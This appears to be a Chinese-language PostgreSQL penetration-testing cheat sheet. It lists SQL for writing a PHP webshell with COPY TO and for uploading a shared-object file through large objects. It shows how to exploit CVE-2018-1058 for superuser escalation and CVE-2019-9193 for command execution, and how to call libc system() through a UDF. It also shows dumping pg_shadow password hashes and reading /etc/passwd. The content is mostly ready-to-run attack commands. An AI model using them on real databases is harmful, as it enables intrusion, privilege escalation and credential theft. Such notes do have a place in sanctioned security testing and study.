PostgreSQL


GetShell

copy to写shell

  • 拥有网站路径写入权限
  • 知道网站绝对路径
  1. copy (select '<?php phpinfo();?>') to '/tmp/1.php';

lo_create写shell

利用分片进行上传,首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 / tmp 目录下, 收尾删除 OID

  1. SELECT lo_create(12345);
  2. INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
  3. INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
  4. INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
  5. INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
  6. SELECT lo_export(12345, '/tmp/test.so');
  7. SELECT lo_unlink(12345);

Vuln

CVE-2018-1058

  • 版本9.3-10.0

PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户尤其是超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

1、创建表并插入数据(evil权限执行):

  1. CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;

2、定义函数(evil权限执行):

  1. CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
  2. ALTER ROLE evil SUPERUSER;
  3. SELECT pg_catalog.upper($1);
  4. $$ LANGUAGE SQL VOLATILE;

3、查询时候使用upper函数(bobac权限执行)

  1. SELECT upper(contents) FROM hehehehe;

此时就执行了ALTER ROLE evil SUPERUSER;使evil的权限变成bobac的权限。

CVE-2019-9193

  • 版本9.3-11.2
  • 超级用户或者pg_read_server_files组中的任何用户

PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

  1. DROP TABLE IF EXISTS cmd_exec;
  2. CREATE TABLE cmd_exec(cmd_output text);
  3. COPY cmd_exec FROM PROGRAM 'id';
  4. SELECT * FROM cmd_exec;

Privilege Escalation

udf调用本地so文件,或者自己上传so命令执行,一般8.2以下的版本可以

  1. CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
  2. CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
  3. select system('id');

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql

Other

查询密码

  1. SELECT usename, passwd FROM pg_shadow;

PostgreSQL 读取文件

  1. select pg_read_file('/etc/passwd');
  2. drop table testaaaa;
  3. create table testaaaa(t TEXT);
  4. copy testaaaa from '/etc/passwd';
  5. select * from testaaaa limit 1 offset 0;

PostgreSQL 读取文件2

  1. Select lo_import('/etc/passwd',12345678);
  2. select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno

列目录

  1. select pg_ls_dir('/etc');

References


admin 2022年3月13日 20:13 收藏文档